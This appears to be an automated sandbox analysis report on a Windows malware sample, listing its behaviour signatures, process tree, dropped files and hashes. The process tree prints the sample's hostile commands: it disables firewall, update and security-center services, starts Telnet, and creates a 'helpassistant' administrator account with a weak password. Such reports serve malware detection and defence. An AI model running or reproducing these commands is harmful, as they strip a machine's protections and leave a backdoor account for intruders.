Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 16:43

General

  • Target
    2026-07-23_e6497846e9f283b1a188f60738432a19_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
  • Size 2.4MB
  • Sample260723-t77rlaca27
  • SHA256 2a2c65610f83391c0c0080cfade1227664a792f710e0b8abaa3f5a9f16e4f40e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-23_e6497846e9f283b1a188f60738432a19_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-23_e6497846e9f283b1a188f60738432a19_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3444
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5444
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:5644
    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-07-23_e6497846e9f283b1a188f60738432a19_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc" /o ""
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:4100
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1112
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6096
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4064
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4604
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5164
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2756
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4488
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:384
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3412
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2656
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:124
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5172
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4052
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:248
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1260
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4508
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5284
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1308
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1652
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1616
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2852
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4840
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5972

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        7z.exe

        • Path C:\Program Files\7-Zip\7z.exe
        • Size 3.0MB
        • SHA256 ca0b496b87ddd8dcc7069664edd66a1e10695d86a876aa354670f7a6a33c30ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zFM.exe

        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 3.4MB
        • SHA256 e6b5faa5f10162a87c5ef76ec5db4c3378504545fe1c33671c0e8dc1f9fa7911
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zG.exe

        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 3.1MB
        • SHA256 72ca2e93c838f833d87f3b6ed7015f968a9f0f35a0a4b264a0c1dcb928f26176
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Uninstall.exe

        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 2.4MB
        • SHA256 e38934de451052d6d94c2e37e8bab7bb3a5ea7bfe9572e9260b86da82170b842
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrmstp.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 8.5MB
        • SHA256 863101daf1c3f59e9f95c8d27d0c405b94cbb54f6e1b0733adbdc7d8888694af
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_pwa_launcher.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 4.1MB
        • SHA256 7cf803bfc92c400d42e7468a7f5686fa2becaabd6713ef415c035dff868abc99
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevated_tracing_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 5.9MB
        • SHA256 daba9b8bb819e02b4ff6937839fd485fa92d1b6c8eea7e67d28d269fec76c0ed
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevation_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 4.7MB
        • SHA256 bbb0cf861d9aaf15971e73f94b3d8480a5120fc21c2fc0044419749223e650a3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os_update_handler.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 4.3MB
        • SHA256 bf1249d04a44cbf41069ccdde00b8b146f60eede7ef43415414f9ed5006989a6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 5.5MB
        • SHA256 f7229c623b0f6656c11084acb87fa586b624119830ee949b10eca6f337492852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_proxy.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 3.8MB
        • SHA256 73d051c0bc32b2d4cf97ca9cc436e4fd0c4f2abd1ea0a2d5026469ebf7fc9fb1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appletviewer.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 2.5MB
        • SHA256 676a7c6bb25310ed6999699b30e386e37ec65252218fa6f2fd8aaddf31e87fae
        • MD5 SHA1 SHA512 SSDEEP TLSH

        extcheck.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 2.5MB
        • SHA256 22b70ae2865f5277b0e5f6c330a0490a1bc1ce41f69e2fbe6d3749146163a2b0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        idlj.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 2.5MB
        • SHA256 048a28689afff7d30d10e81d880d0e6170346ace7eda84d486231d325a84fb8e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jabswitch.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 2.5MB
        • SHA256 5db0979341853d9996f89f8fbbf36155824f28df871886ca395d488a5ca8947b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jar.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 2.5MB
        • SHA256 9c830ad11510fd875f3ef98e13c4ce07ac4db1702c4e90ce2765816282a36a4a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jarsigner.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
        • Size 2.5MB
        • SHA256 ae25b58f36d7e695f5f0b37edd463f1a6b06b62ee36a597ea16e9098c4afff05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dotnet.exe

        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 2.6MB
        • SHA256 61e5dbfb13d4458be1991513ca5a4e713448b8d4fb853c5f419ceab67832da98
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 2.5MB
        • SHA256 7fc4eac0bcc27a6f11193cd370caf322d473ebe761f7d55440787e5b2af57a38
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 2.5MB
        • SHA256 6695c7d371158d5b7d177a526a4c4fe184469d2fcba3905cb09334e94cfddd36
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 2.5MB
        • SHA256 b54c7a11ae969815cf0bdfa02f55676241dbc41b22473874a90a25c71571968a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gb.xsl

        • Path C:\Users\Admin\AppData\Local\Temp\TCDD48A.tmp\gb.xsl
        • Size 262KB
        • SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2026-07-23_e6497846e9f283b1a188f60738432a19_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc

        • Path C:\Windows\SysWOW64\Drivers\2026-07-23_e6497846e9f283b1a188f60738432a19_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc
        • Size 7KB
        • SHA256 1b0e02230bf83cffe4c6b690d2fb4a06214b06ce8c78ced8187d6c2c8c8057d8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Option.bat

        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH

        UpdatAuto.exe

        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 2.4MB
        • SHA256 ac485746828f92e99042f15545df490ac18f689b8debe85b031fc8e3da268909
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 e452a359843cf9788020c6d0147ac5cfd71f0c2a7ff08a952d12f66b95d0e006
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 abe819b50b86574d4885ddd4c0727be3324e50f480dfe01fe79878570a04532b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 5a574f5da5a1c15f77a4bd599e1615e3d7d1ef6a6f806ad5a6323ce4de4222b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 cd2165483a7c9438b45fad675f56d223c57a2ca38254f18002e9c5d2f1d73699
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 562c7e3fa924aac53d0764869a050c37c37ebc758728aa5566cf18a884117ead
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 0d4d9c727ba734b98c0e498ab10d2399cda79f0ca97885daa38618dabe0cd9f2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 32378636dbf7ada596c9f221216fbbd2295abd47fb9ba0e7b74284dd20469299
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 3cc7941186f35a4846300e6ea33fab36b19b9e5470c13dfc663a6a1e99bd47ed
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 2.4MB
        • SHA256 d0137472997c01bdeb6b1e93cf90f0fd995bc8660af982fd14997ccb36abf0c5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4100-41-0x00007FF8B05C0000-0x00007FF8B05D0000-memory.dmp

        memory/4100-40-0x00007FF8B05C0000-0x00007FF8B05D0000-memory.dmp

        memory/4100-35-0x00007FF8B2CC0000-0x00007FF8B2CD0000-memory.dmp

        memory/4100-36-0x00007FF8B2CC0000-0x00007FF8B2CD0000-memory.dmp

        memory/4100-39-0x00007FF8B2CC0000-0x00007FF8B2CD0000-memory.dmp

        memory/4100-38-0x00007FF8B2CC0000-0x00007FF8B2CD0000-memory.dmp

        memory/4100-37-0x00007FF8B2CC0000-0x00007FF8B2CD0000-memory.dmp